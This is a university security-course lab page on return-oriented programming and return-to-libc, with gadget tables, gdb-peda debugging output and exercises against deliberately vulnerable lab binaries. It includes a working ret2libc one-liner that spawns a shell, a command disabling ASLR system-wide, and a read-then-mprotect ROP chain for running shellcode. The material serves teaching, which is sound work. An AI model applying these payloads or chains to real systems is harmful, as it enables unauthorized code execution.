Lab 08 - Return Oriented Programming

Resources

Supporting files

You will use this lab archive throughout the lab.

Please download the lab archive an then unpack it using the commands below:

$ wget http://elf.cs.pub.ro/oss/res/labs/lab-08.tar.gz
$ tar xzf lab-08.tar.gz

After unpacking, you will get the lab-08/ folder:

$ cd lab-08/
$ ls -F
2-rlibc/  3-ropbuf/  4-ropfunc/  5-roplibc/

Introduction

As we've seen in the previous labs, due to the code integrity protection mechanisms, we cannot store our exploit code in areas marked as non-executable (e.g. data segment or stack). In this case, we need more advanced attacks like reusing parts of the already executable code in order to bypass the integrity restrictions. For instance, if we want to obtain a shell, we can replace the return address (divert control to) with the address of the system function from libc using the "/bin/sh" string as a parameter. This type of attack is called return-to-libc. In general we can reuse existing code in the program to do what is known as Return-Oriented Programming (ROP). ROP is a very powerful technique: it was shown that the attacker may reuse small pieces of program code called gadgets to execute arbitrary (Turing-complete) operations.

Recap: Protection Mechanisms Overview

Since we have already covered most of the state of the art protection mechanisms against exploitation on Linux let's go over them one more time.

To apply reconnaisance on a given binary it is best to use the checksec command that is part of pwntools.1)

Let's apply it on a random binary:

# checksec --file ./test
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   ./a
  • NX, as we have seen, typically applies to the stack: whether or not we can place shellcode on the stack and return to it.
  • Stack Canary refers to the guard value placed right before the return address that is tested in the sanity check at the epilogue of a function against stack smashing.
  • PIE (Position Independent Executable) refers to binaries compiled in position independent mode. In these cases even the binary image is randomly offset (not at the usual 0x08048000).
  • RELRO refers to the writability of the GOT section. More details here

Of course, to be able to use PIE the kernel needs to have ASLR support compiled in and enabled.

# checksec --proc-all | head
* System-wide ASLR (kernel.randomize_va_space): On (Setting: 2)
 
  Description - Make the addresses of mmap base, heap, stack and VDSO page randomized.
  This, among other things, implies that shared libraries will be loaded to random 
  addresses. Also for PIE-linked binaries, the location of code start is randomized.
 
  See the kernel file 'Documentation/sysctl/kernel.txt' for more details.
 
* Does the CPU support NX: Yes

In exploitation it is important to gauge your efforts:

  • if every protection mechanism is disabled you shouldn't try advanced exploit methods: stick to shellcode-on-stack methods.
  • if you see Canary values check all the leaf functions to see if the compiler missed anything. If not, then check for an information leak (to read its value) or an arbitrary write (to overwrite the original one in the TLS at gs:0x14). Otherwise, see if you can overwrite anything useful before the guard value (variables that affect code flow such as function pointers)
  • when encountering ASLR remember that on 32 bits it's pretty easy to bypass using bruteforce methods. Also remember that the executable image is fixed (if PIE is not enabled) so you might be able to reuse parts of it

Return Oriented Programming

From Ret-to-libc to ROP

As we've seen in the introduction, a standard ret-to-libc attack would be to overwrite the return address with the address of a function from libc like below:

RET + 0x00:   addr of system
RET + 0x04:   JUNK
RET + 0x08:   address to desired command (e.g. '/bin/sh')

However, what happens when you need to call multiple functions? Say you need to call f1() and then f2(0xAB, 0xCD)? The payload should be:

RET + 0x00:   addr of f1
RET + 0x04:   addr of f2 (return address after f1 finishes)
RET + 0x08:   JUNK (return address after f2 finishes: we don't care about what happens after the 2 functions are called)
RET + 0x0c:   0xAB (param1 of f2)
RET + 0x10:   0xCD (param2 of f2)

What about if we need to call f1(0xAB, 0xCD) and then f2(0xEF, 0x42)?

RET + 0x00:   addr of f1
RET + 0x04:   addr of f2 (return address after f1 finishes)
RET + 0x08:   0xAB (param1 of f1)  
RET + 0x0c:   0xCD (param2 of f1)  !! but this should also be 0xEF (param1 of f2)
RET + 0x10:   0x42 (param2 of f2)

This kind of conflict can be resolved using Return Oriented Programming, a generalization of ret2libc attacks. As we will see in the next section, the main idea is to find some intermediate instructions that will clear the parameters of f1() from the stack when they are no longer needed.

ROP Chains and Gadgets - 32 bit

The building blocks of ROP payloads are called gadgets. These are blocks of instructions that end with a 'ret' instruction.

Here are some gadgets from the previous program:

0x8048443: pop ebp; ret
0x80484a7: pop edi; pop ebp; ret
0x8048441: mov ebp,esp; pop ebp; ret
0x80482da: pop eax; pop ebx; leave; ret
0x80484c3: pop ecx; pop ebx; leave; ret

By carefully stitching such gadgets on the stack we can bring code execution to almost any context we want. As an example let's say we would like to load 0x41424344 into eax and 0x61626364 into ebx. The payload should look like:

RET + 0x00:   0x80482da  (pop eax; pop ebx; leave; ret)
RET + 0x04:   0x41424344
RET + 0x08:   0x61626364
RET + 0x0c:   0xAABBCCDD ???
  • First the ret addr is popped from the stack and execution goes there.
  • At pop eax 0x41424344 is loaded into eax and the stack is increased.
  • At pop ebx 0x61626364 is loaded into ebx and the stack is increased again.
  • At leave two things actually happen: mov esp, ebp; pop ebp. So the stack frame is decreased to the previous one (pointed by ebp) and ebp is updated to the one before that. So esp will now be the old ebp+4.
  • At ret code flow will go to the instruction pointed to by ebp+4. This implies that execution will not go to 0xAABBCCDD but to some other address that may or may not be in our control (depending on how much we can overflow on the stack). If it is in our control we can overwrite that address with the rest of the ROP chain.

We have now seen how gadgets can be useful if we want the CPU to achieve a certain state. This is particularly useful on other architectures such as ARM and x86_64 where functions do not take parameters from the stack but from registers.

On important use of gadgets is to clear the stack. Remember the issue we had in the previous section? Let's solve it using gadgets. We need to call f1(0xAB, 0xCD) and then f2(0xEF, 0x42). Our initial solution was:

RET + 0x00:   addr of f1
RET + 0x04:   addr of f2 (return address after f1 finishes)
RET + 0x08:   0xAB (param1 of f1)  
RET + 0x0c:   0xCD (param2 of f1)  !! but this should also be 0xEF (param1 of f2)
RET + 0x10:   0x42 (param2 of f2)

The problem is that those parameters of f1 are getting in the way of calling f2. We need to find a pop pop ret gadget. The actual registers are not important.

RET + 0x00:   addr of f1
RET + 0x04:   addr of (pop eax, pop ebx, ret) 
RET + 0x08:   0xAB (param1 of f1)  
RET + 0x0c:   0xCD (param2 of f1)
RET + 0x10:   addr of f2
RET + 0x14:   JUNK
RET + 0x18:   0xEF (param1 of f2)
RET + 0x1c:   0x42 (param2 of f2)

Now we can even call the next function f3 if we repeat the trick:

RET + 0x00:   addr of f1
RET + 0x04:   addr of (pop eax, pop ebx, ret) 
RET + 0x08:   0xAB (param1 of f1)  
RET + 0x0c:   0xCD (param2 of f1)
RET + 0x10:   addr of f2
RET + 0x14:   addr of (pop eax, pop ebx, ret) 
RET + 0x18:   0xEF (param1 of f2)
RET + 0x1c:   0x42 (param2 of f2) 
RET + 0x20:   addr of f3

Step by step stack changes

Click to display ⇲

Click to hide ⇱

ROP Chains and Gadgets - 64-bit

On x86_64 the function arguments are set in registers which changes the workflow for ROP. Instead of using pop, pop, …, ret gadgets with arbitrary registers to clean the stack, we need to set the arguments in specific registers:

Example:

  • address of pop rdi, ret followed by a value on stack (first arg)
  • address of pop, rsi, ret followed by a value on stack (second arg)
  • address of function with 2 arguments

  • On 32 bits we think in terms of call + cleanup - arguments are already on the stack, but need to be cleaned up after func call
  • on 64 bits we think in terms of setup + call. - arguments need to be set in registers before calling the function

Step by step stack changes

Click to display ⇲

Click to hide ⇱

Debugging and Tools

ROP payload debugging

When you know what the offending function is, disassemble it and break on “ret”.

gdb-peda$ pdis main
Dump of assembler code for function main:
   0x0804843c <+0>:	push   ebp
   0x0804843d <+1>:	mov    ebp,esp
   0x0804843f <+3>:	and    esp,0xfffffff0
   0x08048442 <+6>:	sub    esp,0x30
   0x08048445 <+9>:	mov    DWORD PTR [esp+0x8],0x64
   0x0804844d <+17>:	lea    eax,[esp+0x19]
   0x08048451 <+21>:	mov    DWORD PTR [esp+0x4],eax
   0x08048455 <+25>:	mov    DWORD PTR [esp],0x0
   0x0804845c <+32>:	call   0x8048310 <read@plt>
   0x08048461 <+37>:	mov    eax,0x0
   0x08048466 <+42>:	leave  
   0x08048467 <+43>:	ret    
End of assembler dump.
gdb-peda$ b *0x08048467
Breakpoint 1 at 0x8048467
 
 
AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfA
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7f97e54 --> 0x1a6d5c 
ECX: 0xffffcd49 ("AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfA\n\300\317\377\367\034")
EDX: 0x64 ('d')
ESI: 0x0 
EDI: 0x0 
EBP: 0x41334141 ('AA3A')
ESP: 0xffffcd6c ("AEAAeAA4AAFAAfA\n\300\317\377\367\034")
EIP: 0x8048467 (<main+43>:	ret)
EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048445 <main+9>:	mov    DWORD PTR [esp+0x8],0x64
   0x804844d <main+17>:	lea    eax,[esp+0x19]
   0x8048451 <main+21>:	mov    DWORD PTR [esp+0x4],eax
   0x8048455 <main+25>:	mov    DWORD PTR [esp],0x0
   0x804845c <main+32>:	call   0x8048310 <read@plt>
   0x8048461 <main+37>:	mov    eax,0x0
   0x8048466 <main+42>:	leave  
=> 0x8048467 <main+43>:	ret    
   0x8048468:	xchg   ax,ax
   0x804846a:	xchg   ax,ax
   0x804846c:	xchg   ax,ax
   0x804846e:	xchg   ax,ax
   0x8048470 <__libc_csu_init>:	push   ebp
   0x8048471 <__libc_csu_init+1>:	push   edi
   0x8048472 <__libc_csu_init+2>:	xor    edi,edi
   0x8048474 <__libc_csu_init+4>:	push   esi
[------------------------------------stack-------------------------------------]
0000| 0xffffcd6c --> 0xf7e333e0 (<system>:	sub    esp,0x1c)
0004| 0xffffcd70 --> 0x80484cf (<__libc_csu_init+95>:	pop    ebp)
0008| 0xffffcd74 --> 0xf7f56be6 ("/bin/sh")
0012| 0xffffcd78 --> 0xf7e25c00 (<exit>:	push   ebx)

Then you can break on all called functions or step as needed to see if the payload is doing what you want it to.

Checksec in peda

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

Gadget finding in peda

Apart from objdump which only finds aligned instructions, you can also use dumprop in peda to find all gadgets in a memory region or mapping:

gdb-peda$ start
....
gdb-peda$ dumprop
Warning: this can be very slow, do not run for large memory range
Writing ROP gadgets to file: a-rop.txt ...
0x8048467: ret
0x804835d: iret
0x804838f: repz ret
0x80483be: ret 0xeac1
0x80483a9: leave; ret
0x80485b4: inc ecx; ret
0x80484cf: pop ebp; ret
0x80482f5: pop ebx; ret
0x80484df: nop; repz ret
0x80483a8: ror cl,1; ret
0x804838e: add dh,bl; ret
0x80483e5: ror cl,cl; ret
0x8048465: add cl,cl; ret
0x804840b: leave; repz ret
0x8048371: sbb al,0x24; ret
0x80485b3: adc al,0x41; ret
0x8048370: mov ebx,[esp]; ret
0x80484de: nop; nop; repz ret
0x80483a7: call eax; leave; ret
0x80483e4: call edx; leave; ret
0x804840a: add ecx,ecx; repz ret
0x80484ce: pop edi; pop ebp; ret

The simplest way to dump basic ROP gadget is using the ropgadget command such as below:

gdb-peda$ ropgadget
ret = 0x80482d2
popret = 0x80482e9
pop2ret = 0x804855a
pop4ret = 0x8048558
pop3ret = 0x8048559
addesp_12 = 0x80482e6
addesp_16 = 0x80483b5

Something finer is using asmsearch or ropsearch:

gdb-peda$ asmsearch "pop ? ; ret"
0x080482f5 : (5bc3)	pop    ebx;	ret
0x080484cf : (5dc3)	pop    ebp;	ret
0x080484f6 : (5bc3)	pop    ebx;	ret
 
gdb-peda$ asmsearch "pop ? ; pop ? ; ret"
0x080484ce : (5f5dc3)	pop    edi;	pop    ebp;	ret
 
gdb-peda$ asmsearch "call ?"
0x080483a7 : (ffd0)	call   eax
0x080483e4 : (ffd2)	call   edx
0x0804842f : (ffd0)	call   eax
 
gdb-peda$ ropsearch "pop eax"
...
# search the requested gadget in libc area
gdb-peda$ ropsearch "xchg eax, esp;" libc

Tasks

For tasks in this lab, you'll need to disable ASLR by issuing the following command:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Note that this has a system-wide effect. To launch a single executable with ASLR disabled, use:

setarch $(uname -m) -R <executable>

(You can pass a shell as the executable and all processes launched by that shell will also have ASLR disabled.)

1. ROP Gadgets (tutorial)

Run any program (for instance the binary from the next exercise) and find some specific ROP gadgets:

  • two pops in any registers followed by ret in the binary memory range.
  • call ebx; ret in libc memory range.
cd 2-rlibc/
gdb ./rlibc
gdb-peda$ b main
Breakpoint 1 at 0x8048451: file rlibc.c, line 16.
gdb-peda$ r
Starting program: /root/lab-08/2-rlibc/rlibc 
...
Breakpoint 1, main () at rlibc.c:16
16		vuln();
gdb-peda$ ropsearch "pop ?; pop ?; ret"
Searching for ROP gadget: 'pop ?; pop ?; ret' in: binary ranges
0x080484da : (b'5f5dc3')	pop edi; pop ebp; ret
gdb-peda$ ropsearch "call ebx; ret" libc
Searching for ROP gadget: 'call ebx; ret' in: libc ranges
0xf7f0d8f2 : (b'ffd3c3')	call ebx; ret

2. Return-to-libc - bypass NX/DEP (tutorial)

Analyze the rlibc.c source code. As we can see, there is a buffer overflow vulnerability. Since the binary is compiled with a non-executable stack, we cannot execute a shellcode from the buffer/stack. One solution would be to return (jump) to an existing libc function that will give us a shell. For instance, we could call system("/bin/sh"). This exercise assumes that the libc address of system remains constant, so don't forget to disable ASLR.

Our exploit payload will look something like:

[overflow] [<system> addr] [fake return address] ["/bin/sh"]

In order to correctly prepare the stack frame for system() (so "/bin/sh" will be placed in the parameters location), we also need to set a return address for it. Since system() will execute the desired shell, we don't actually need to return from it, so we can set this address to a random value (e.g. "\x00"*4)

  • First, we need to identify the libc address of system() and set it as a return address in our payload.
root@kali:~/lab-08# gdb rlibc 
gdb-peda$ b main
Breakpoint 1 at 0x8048451: file rlibc.c, line 12.
gdb-peda$ r
Starting program: /root/lab-08/rlibc 
Breakpoint 1, main () at rlibc.c:12
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e34af0 <system>
  • We also need to find a "/bin/sh" string in order to send it as an argument to system(). We can check if we already have this string somewhere in libc.
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f56be8 ("/bin/sh")
  • As usual, we have to identify the overflowed buffer offset where the return address starts. We can do this using the peda pattc and patto commands as in the previous labs.
  • In the end, our exploit will look something like (where 140 is the overflowed buffer offset):
cat <(python -c 'print "\x00"*140+"\xf0\x4a\xe3\xf7"+"\x00"*4+"\xe8\x6b\xf5\xf7"') - | ./rlibc 

3. ROP: Find the buffer

Analyze the content of 3-ropbuf/ropbuf.c. There is a buffer overflow, but in order to exploit it we have to know the buffer's address on the stack. We had a similar situation in lab7 where we built a 2-stages exploit and managed to leak the buffer's address. But this is not always so easy to guess/leak.

ROP Gadget to return to the buffer

If you look at the assembly code for the vulnerable function you can see where the buffer is located at return.

gdb-peda$ pdis vuln
Dump of assembler code for function vuln:
   0x00000000004005b7 <+0>:	push   rbp
   0x00000000004005b8 <+1>:	mov    rbp,rsp
   0x00000000004005bb <+4>:	sub    rsp,0x90
   0x00000000004005c2 <+11>:	mov    QWORD PTR [rbp-0x88],rdi
   0x00000000004005c9 <+18>:	mov    rdx,QWORD PTR [rbp-0x88]
   0x00000000004005d0 <+25>:	lea    rax,[rbp-0x80]
   0x00000000004005d4 <+29>:	mov    rsi,rdx
   0x00000000004005d7 <+32>:	mov    rdi,rax
   0x00000000004005da <+35>:	call   0x4004b0 <strcpy@plt>
   0x00000000004005df <+40>:	nop
   0x00000000004005e0 <+41>:	leave  
   0x00000000004005e1 <+42>:	ret    
End of assembler dump.

The buffer address is stored in a register when ret is executed.

Use ropsearch ... libc. Instead of ... place the instructions you search.

Using this information, find a ROP gadget that will help you jump directly to a shellcode stored in the buffer. Replace the return address with the address of the ROP gadget. You can start from the skeleton in ropbuf.py. This exercise also needs ASLR disabled, since it assumes that the ROP gadget's address remains constant between consecutive runs.

In order to start a program with an argument using pwntools in Python use

    io = process(["./ropbuf", payload])  # Run ./ropbuf using payload as command line argument.

ROP Debugging

Try using the same exploit on ropbuf_dbg binary. You'll see that it doesn't work.

You can use the recommended ROP debugging method described above to find out why the same exploit doesn't work.

You can use checksec to discover information about the ropbuf and ropbuf_dbg executables.

4. ROP: Functions chain

As we've seen in the above sections, ROP is useful when we want to chain multiple function calls. Using ROP Gadgets we can setup function arguments in between function calls.

Take a look at 4-ropfunc/ropfunc.c and make it call call_1() followed by call_2() and call_exit(). You can start from the skeleton in ropfunc.py. When calling call_1() and call_2(), make them print the messages in the if block by passing the proper parameters.

5. Bonus ROP: Libc Functions chain

Now let's move to a more practical example by chaining useful libc functions. Take a look at roplibc.c. We can see that we have a buffer overflow on buf and a global, unused gbuf.

  • The stack is not executable so, at the first sight, we cannot put our shellcode neither in buf, nor in gbuf. But what if we manage to call (jump to) mprotect over the memory area where we store the shellcode, and make it executable?
  • Furthermore, given the fact that gbuf is larger than buf, we might want to put our shellcode there. But how do we do this when the only read call is on buf? In this case, we will also want to call (jump to) read in our exploit payload.
  • A possible ROP chain (that will start from the overwritten return address from buf) for the described attack will look something like below. The return addresses in the ROP chain are highlighted with red and the function parameters with green.

[pop rdi;ret][fd=0][pop rsi;ret][gbuf][pop rdx;ret][shellcode_len][read_addr] [pop rdi;ret][mp1][pop rsi;ret]][mp2] [pop rdx;ret][mp3][mprotect_addr][gbuf_addr]

  • First we need to call read in order to read the shellcode in gbuf. The pop ?;ret ROP gadgets will pop the values from the stack into the proper registers for the read function. Then it calls another pop ?;ret ROP gadgets to pop values from stack in registers, as parameters(mp1,mp2,mp3) for mprotect function, in order to make the gbuf/shellcode area executable. And finally, it returns/jumps to gbuf where the shellcode is stored.
  • Build the exploit starting from the skeleton in roplibc.py. You can find the gbuf addr using nm.
nm roplibc | grep gbuf

In order to find the addresses of functions in the standard C library, use GDB and the the print (or p) command, similar to the run below:

$ gdb -q ./roplibc
Reading symbols from ./roplibc...done.
gdb-peda$ start
[...]
gdb-peda$ p read
$3 = {ssize_t (int, void *, size_t)} 0x7ffff7af4070 <__GI___libc_read>
gdb-peda$ p mprotect
$4 = {<text variable, no debug info>} 0x7ffff7affae0 <mprotect>

The first argument to mprotect() is the address of the page you want to change the mapping for. It must be a page address, i.e. the last three hex digits (nibbles) have to be 0, that is the 12 bits that corresponding to the page offset.

After you create the exploit, you can check in gdb with vmmap command if mprotect call is executing properly and if the section containing gbuf is now executable.

gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r--p	/home/student/lab-08/5-roplibc/roplibc
0x00401000         0x00402000         r-xp	/home/student/lab-08/5-roplibc/roplibc
0x00402000         0x00403000         r--p	/home/student/lab-08/5-roplibc/roplibc
0x00403000         0x00404000         r--p	/home/student/lab-08/5-roplibc/roplibc
0x00404000         0x00405000         rw-p	/home/student/lab-08/5-roplibc/roplibc

After mprotect call:

gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r--p	/home/student/lab-08/5-roplibc/roplibc
0x00401000         0x00402000         r-xp	/home/student/lab-08/5-roplibc/roplibc
0x00402000         0x00403000         r--p	/home/student/lab-08/5-roplibc/roplibc
0x00403000         0x00404000         r--p	/home/student/lab-08/5-roplibc/roplibc
0x00404000         0x00405000         rwxp	/home/student/lab-08/5-roplibc/roplibc
1) If the checksec command is not available you can download and use the checksec.sh helper script.
cns/labs/lab-08.txt · Last modified: 2019/11/25 11:56 by adrian.sendroiu
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0